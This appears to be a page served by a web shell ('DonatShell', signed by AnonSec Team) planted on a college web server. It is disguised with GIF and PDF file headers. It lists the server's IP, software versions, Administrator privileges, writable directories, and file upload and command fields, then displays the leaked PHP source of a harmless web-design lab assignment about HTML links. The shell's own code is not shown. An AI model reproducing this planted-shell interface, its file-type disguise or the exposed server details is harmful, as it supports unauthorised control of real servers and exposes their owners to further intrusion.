GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/MMDT1021/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/MMDT1021/Lab03.php
<?
// Lab03.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$assignmentNumber = 5;
$assignmentType = "Lesson";
$assignmentTitle = "Links";
$evaluationNumber = 3;
$evaluationType = "Lab";
$evaluationTitle = "Links";
if (!isset($evaluationNumber)) { $evaluationNumber = $assignmentNumber; }
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; } else { $assignmentName = $assignmentType.$assignmentNumber; }
if (strlen($evaluationNumber) == 1) { $evaluationName = $evaluationType."0".$evaluationNumber; } else { $evaluationName = $evaluationType.$evaluationNumber; }
$title = $evaluationType." ".$evaluationNumber.": ".$evaluationTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Login/authenticate.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
<p>
<fieldset><legend><?=$evaluationType?> Assignment</legend><span class="normal">
In this lab you are going to demonstrate competence in the use of links. You will create two web pages; be using text and images as links; will create links to other pages as well as to named anchors; and will be using an image map to create multiple link regions in an image.
<br />
Create a <b><?=$evaluationName?></b> folder and keep all files for this lab in that folder.
<br />
Please follow the instructions below to complete this lab.
<br /><br />
<ol>
	<li>Create a web page file named <b><?=$evaluationName?>.htm</b>.
		<br />Specify a <b>DOCTYPE</b> as the very first line in the HTML document.
		<br />Insert a comment before the <b>head</b> section containing the text <b><?=$evaluationType?> <?=$evaluationNumber?> - firstname lastname</b> where firstname is your first name and lastname is your last name.
		<br />Set character encoding to UTF-8, UTF-16, or another character set of your choice.
		<br />Title the page <b><?=$evaluationType?> <?=$evaluationNumber?> - firstname lastname</b> where firstname is your first name and lastname is your last name.
		<br />Put an <b>h2</b> heading in the body containing the text <b><?=$evaluationType?> <?=$evaluationNumber?> - firstname lastname</b> where firstname is your first name and lastname is your last name.
	</li>
	<li>.Place this image <img src="dn/handright.gif" alt="hand right" style="border:1px solid #CCCCCC;" /> on the page that links to lab03b.htm. Set a shortcut of Alt-n. There should be no border around the image and there should be text after it that says "Next".
		<br />NOTE: Place this link and all others on the page in separate paragraphs.
	</li>
	<li>Place a link on this page that links to a 'bottom' anchor on page lab03b.htm. Set a shortcut of Alt-b.</li>
	<li>Place a link on this page that opens lab03b.htm in a new window using the <b>target</b> attribute..</li>
	<li>Set the tab order for the three (3) links on this page to go from bottom to top..</li>
	<br />
	<li>Create a web page file named <b><?=$evaluationName?>b.htm</b>.
		<br />Specify a <b>DOCTYPE</b> as the very first line in the HTML document.
		<br />Insert a comment before the <b>head</b> section containing the text <b><?=$evaluationType?> <?=$evaluationNumber?>b - firstname lastname</b> where firstname is your first name and lastname is your last name.
		<br />Set character encoding to UTF-8, UTF-16, or another character set of your choice.
		<br />Title the page <b><?=$evaluationType?> <?=$evaluationNumber?>b - firstname lastname</b> where firstname is your first name and lastname is your last name.
		<br />Put an <b>h2</b> heading in the body containing the text <b><?=$evaluationType?> <?=$evaluationNumber?>b - firstname lastname</b> where firstname is your first name and lastname is your last name.
	</li>
	<li>Place a name anchor called 'top' that is at the beginning of the page.</li>
	<li>Place this image <img src="dn/handleft.gif" alt="hand left" style="border:1px solid #CCCCCC;" /> on the page that links to lab6.htm. Set a shortcut of Alt-p. There should be no border around the image and there should be text after it that says "Previous".
		<br />NOTE: Place this link and all others on the page in separate paragraphs.
	</li>
	<li>Place a link that links to the 'bottom' anchor on this page.</li>
	<li>Make an image map using the following image:
		<br /><img src="dn/search.gif" alt="google, ms live, yahoo" style="border:1px solid #CCCCCC;" />.
		<br />Ensure that the <b>area</b> elements open the search engine pages in a new window.
		<br />The "Google" part of the image links to "http://www.google.com".
		<br />The "Windows Live Search " part of the image links to "http://www.live.com".
		<br />And the "Yahoo" part of the image links to "http://search.yahoo.com".
		<br />Find the pixel coordinates manually by using coordinates obtained from Photoshop, Paint Shop Pro, Paint .NET, etc.
	</li>
	<li>Place some filler text on the page. You may use the filler text below or use your own filler text, however, you need to use a lot of filler text. Enough so that you need to scroll up and down quite a ways. This is needed to demonstrate the 'top' and 'bottom' name anchors effectively.
		<br />For my filler text I used:<br />
		&lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt;
		&lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt;  &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt;
		&lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt;  &lt;p&gt;filler&lt;/p&gt; &lt;p&gt;filler&lt;/p&gt;
	</li>
	<li>Place a link at the bottom of the page that links to the 'top' anchor on this page.</li>
	<li>Place a name anchor called 'bottom' that is at the end of the page.</li>
	<br />
	<li>Submit this assignment for evaluation.
		<ol type="a">
			<li>Zip up the <b><?=$evaluationName?></b> folder into a file called <b><?=$evaluationName?>.zip</b>.</li>
			<li>Send the <b><?=$evaluationName?>.zip</b> file as an attachment using email to <b>jim.martinson@ridgewater.edu</b> with a subject of <span style="white-space:nowrap;"><b><?=$courseNumber?> <?=$evaluationName?> submission</b></span>.</li>
			<li>If you are not using Ridgewater's email system then enter your name as the first line of the message.</li>
		</ol>
	</li>
</ol>
</span></fieldset>

<fieldset><legend>Example <span class="normal">- Your result should look similar to the pages	below:</span></legend>
<p>
<?=$evaluationName?>.htm Example:<br />
<img src="<?=$evaluationName?>.jpg" alt="<?=$evaluationName?> Example" />
</p>
<p>
<?=$evaluationName?>b.htm Example:<br />
<img src="<?=$evaluationName?>b.jpg" alt="<?=$evaluationName?>b Example" />
</p>
</fieldset>

<fieldset><legend>Notes</legend><span class="normal">
Some students have had problems with Internet Explorer and the "bottom" anchor in step 13. There seems to be a bug in some versions/installations of IE that cause a named anchor at the bottom of the page to not work. You can "fix" this by placing a non-breaking-space between the start and stop anchor tags. (IE:&nbsp;<b>&lt;a&nbsp;name="YourAnchorNameGoesHere"&gt;&amp;nbsp;&lt;/a&gt;</b>)
</span></fieldset>


<fieldset><legend>Grading Criteria</legend><span class="normal">
Demonstrated assignment effectively: 10 points.
<br />
There are some things I expect. If they are incorrect you will lose the following:
<br />
Incorrect attachment file name: -1 pt.
<br />
Work submitted incorrectly: -1pt.
<br />
Incorrect subject in email: -1pt.
<br />
Second and subsequent submission of work for grading: -1pt.
<br />
Work submitted late: -1pt.
</span></fieldset>
<?
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team